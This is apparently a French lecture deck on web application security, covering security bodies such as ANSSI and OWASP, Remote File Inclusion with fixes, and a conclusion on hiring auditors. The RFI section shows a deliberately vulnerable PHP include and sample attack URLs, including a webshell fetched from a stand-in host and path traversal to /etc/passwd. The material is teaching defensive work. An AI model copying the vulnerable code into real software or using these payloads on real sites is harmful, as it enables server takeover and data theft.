Sécurité des applications Web

Robert Carver - La Grande Classe

Jeudi 8 octobre 2024

Introduction

Je présente les points suivants sur la sécurité des applications Web :

- Quelques noms de la sécurité Web
- Un cas d’attaque d’application Web : le RFI
- Autres failles de sécurité d'application Web
- Conclusions sur un environnement Internet dangereux

Quelques noms de la sécurité Web

Que signifient ces abréviations ?

- ANSSI
- CNIL
- OWASP
- …

ANSSI

Agence nationale de la sécurité des systèmes d'information

https://cyber.gouv.fr/

- autorité nationale en matière de sécurité et de défense des systèmes d’information en France
- protection des infrastructures critiques
- sensibilisation à la cybersécurité

-

CNIL

Commission nationale de l'informatique et des libertés

https://www.cnil.fr/

- autorité française chargée de veiller à la protection des données personnelles
- émet des recommandations et des directives pour garantir la confidentialité et la sécurité des informations des utilisateurs

-

OWASP

Open Web Application Security Project

https://owasp.org/

- communauté mondiale sur la sécurité des applications Web
- fournit :
  → ressources
  → outils
  → bonnes pratiques

  pour prévenir des vulnérabilités :
  - injections SQL
  - les failles XSS
  - problèmes d'authentification
  - …

Autres organismes de sécurité

- CERT
  Computer emergency response team

  https://www.cert.ssi.gouv.fr/ CERT-FR
- ENISA
  European Union Agency for Cybersecurity

  https://www.enisa.europa.eu/
- …

Un cas d’attaque d’application Web : le RFI

RFI : Remote File Inclusion

Cible un site Web en faisant inclure un fichier distant
en exécutant un script sur le serveur Web.

La vulnérabilité est due à l'utilisation de données fournies par l'utilisateur sans validation.

Ça peut permettre d'exécuter du code ne faisant pas partie de l'application.
Ce code peut être exécuté sur le serveur ou sur le client.

Voir aussi :

LFI : Local File Inclusion
Une attaque où le serveur inclut l'un de ses propres fichiers.
C'est similaire au RFI et permet de récupérer des informations censées être confidentielles.
Si l’application ne filtre pas les chemins de fichiers, l’attaquant peut accéder à des fichiers sensibles sur le serveur.

Exemples d'attaque RFI

Comment faire exécuter du code sur un serveur PHP mal sécurisé ?

Si le code de l'application Web utilise les variables PHP “superglobales” comme $_GET et $_POST sans les valider...

```php
<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');
}
?>
```

```html
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>
```

```
/vulnerable.php?language=http://evil.example.com/webshell.txt?
/vulnerable.php?language=C:\\ftp\\upload\\exploit
/vulnerable.php?language=../../../../../etc/passwd%00
/vulnerable.php?language=../../../../../proc/self/environ%00
```

Exemples de protections contre une attaque RFI

Comment sécuriser le code du serveur PHP ?

1. Valider avant d'utiliser !

```
// si $_GET['language'] ne contient que [a-z] alors ok
// sinon on ne fait rien
```

2. Validation plus robuste : le whitelisting

```
if ($_GET['language'] == 'english' || $_GET['language'] == 'french') {
     // ok
} else {
     // do nothing
}
```

Autres failles de sécurité d'application Web

En plus de CSRF, XSS, RFI, Injection SQL :

- Injection HTML
- Dépassement de tampon (Buffer Overflow)
- *Arnaque au président* (une forme de spam)
- …

Conclusion : attention, danger !

Une application Web se trouve dans un des environnements les plus dangereux qui soient. Autant on est heureux de pouvoir produire quelque chose qui est accessible partout dans le monde, autant cela implique des dangers inimaginables. Il y a toutes sortes d'acteurs dangereux. Il y a des pays connus pour être dangereux, comme la Russie et la Chine, où l'application de la loi est différente de la nôtre et qui peuvent être considérés comme des ennemis. Mais il y a aussi un danger dans l'immense variété de personnes qui peuvent se connecter sur Internet, où qu'ils soient, qui peuvent cacher d'où ils viennent, et qui peuvent avoir des niveaux de connaissances qui nous dépassent largement. Quand on utilise un appareil qui se connecte à Internet, on ne se doute sans doute pas de tous les efforts énormes qui ont été faits pour protéger notre appareil, et on ne se doute pas de tous les efforts colossaux par des millions de personnes et de robots pour accéder à nos appareils et en faire des choses auxquelles nous ne consentons pas.

Alors comment se protéger ? Il faut avoir beaucoup d'humilité et trouver de l'aide où l'on peut. La cybersécurité, c'est une profession qu'en tant que développeur de site Web, nous ne maîtrisons pas. Alors pour se protéger, où trouver de l'aide ? Une solution, c'est de demander un audit à des gens spécialisés dans la cybersécurité. Ils vont essayer de pénétrer notre système, souvent à l'aide d'outils automatiques. Ce sont des professionnels de type white hat hacker ou chapeau blanc.

Une autre solution, c'est utiliser des services qui emploient déjà des professionnels de la sécurité. On peut faire appel à des grandes sociétés comme Amazon, Google, ou Microsoft, ou en France OVH ou la société allemande là. Et l'on peut choisir de ne pas faire tout soi-même, d'utiliser un service qui résout beaucoup des soucis auxquels on sera confronté si l'on essaye de tout faire soi-même. Il y a une vaste gamme entre mettre sa machine en ligne et avoir le serveur Web sur sa propre machine et utiliser un service qui se charge de beaucoup de détails. Et qui rajoute plein de protections dont on n'a pas à se soucier.

Exemple de PaaS Symfony : `platform.sh` https://platform.sh/

https://main-bvxea6i-jhmymvgdrjrqo.fr-3.platformsh.site/en/admin/post/1